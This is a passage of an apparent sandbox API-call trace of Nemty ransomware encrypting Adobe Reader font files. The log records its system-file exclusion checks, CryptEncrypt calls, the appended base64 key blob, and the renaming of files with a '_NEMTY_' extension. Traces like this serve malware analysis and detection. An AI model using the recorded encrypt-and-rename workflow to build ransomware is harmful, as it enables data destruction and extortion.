lpOverlapped=0x0) returned 1 [0214.198] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.198] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x113b0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x113b0, lpOverlapped=0x0) returned 1 [0214.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.198] SetFilePointer (in: hFile=0x254, lDistanceToMove=70584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x113b8 [0214.198] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.198] CloseHandle (hObject=0x254) returned 1 [0214.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.198] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Italic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-italic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Italic.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-italic.otf._nemty_kgobjgd_")) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.199] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x835c1ea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10530, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Regular.otf", cAlternateFileName="ADOBET~2.OTF")) returned 1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2=".") returned 1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="..") returned 1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="...") returned 1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="windows") returned -1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="rsa") returned -1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="NTDETECT.COM") returned -1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="ntldr") returned -1 [0214.199] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="MSDOS.SYS") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="IO.SYS") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="boot.ini") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="boot.ini") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="ntuser.dat") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="desktop.ini") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="CONFIG.SYS") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="RECYCLER") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="bootmgr") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="programdata") returned -1 [0214.200] lstrcmpiW (lpString1="AdobeThai-Regular.otf", lpString2="appdata") returned -1 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Regular.otf", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Regular.otf", lpUsedDefaultChar=0x0) returned 21 [0214.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.201] Sleep (dwMilliseconds=0x5) [0214.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x334fc370, dwHighDateTime=0x1d561e8)) [0214.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x334fc370, dwHighDateTime=0x1d561e8)) [0214.211] GetLastError () returned 0x0 [0214.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.212] GetLastError () returned 0x0 [0214.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.212] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.212] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.212] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.212] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="a5p+mtuhRsudasex8QNe233RKZuVzzUeNRBFQKgsD5alAQ+teFh0zbkuN0nf6ym0\r\n74NB7OiPCcClNg/3kZVG7ZNsB374Xn4eSpfHoBl7QVxySUvKndhomQr+8L4otjS2\r\n4RqpqiHOtXJht7fesoAXz7IPhfvZXTJ8C5/1lDhZG2Dp7rC1G8d2KjZfVlY0OBmh\r\n0TtuHhO038sOI2uzKsNfNhdUQ0N+36b3JMM8GzZlmYpxaqJIfuAosXZmyegWdeym\r\nCM6mB3Fss1ek2crp/HmGnvd5TQ9oyzZWRcj9otkBbTEt/9CNd+WGr7hd94h/jRGW\r\n0HseTeOsUomLzrXI+REDyw==\r\n", pcchString=0x653e91c) returned 1 [0214.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.212] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-regular.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.213] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=66864) returned 1 [0214.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10530) returned 0x6352c48 [0214.213] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.213] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10530, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x10530, lpOverlapped=0x0) returned 1 [0214.218] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.218] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10530, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x10530, lpOverlapped=0x0) returned 1 [0214.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.219] SetFilePointer (in: hFile=0x254, lDistanceToMove=66864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10530 [0214.219] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.219] CloseHandle (hObject=0x254) returned 1 [0214.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.219] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Regular.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-regular.otf._nemty_kgobjgd_")) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.220] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8b9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Bold.otf", cAlternateFileName="COURIE~3.OTF")) returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2=".") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="..") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="...") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="windows") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="rsa") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="NTDETECT.COM") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="ntldr") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="MSDOS.SYS") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="IO.SYS") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="boot.ini") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="boot.ini") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="ntuser.dat") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="desktop.ini") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="CONFIG.SYS") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="RECYCLER") returned -1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.220] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="bootmgr") returned 1 [0214.221] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="programdata") returned -1 [0214.221] lstrcmpiW (lpString1="CourierStd-Bold.otf", lpString2="appdata") returned 1 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Bold.otf", lpUsedDefaultChar=0x0) returned 19 [0214.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Bold.otf", lpUsedDefaultChar=0x0) returned 19 [0214.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Bold.otf", lpUsedDefaultChar=0x0) returned 19 [0214.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.221] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Bold.otf", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Bold.otf", lpUsedDefaultChar=0x0) returned 19 [0214.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.221] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.221] Sleep (dwMilliseconds=0x5) [0214.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33548630, dwHighDateTime=0x1d561e8)) [0214.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33548630, dwHighDateTime=0x1d561e8)) [0214.233] GetLastError () returned 0x0 [0214.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.233] GetLastError () returned 0x0 [0214.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.233] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.233] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, 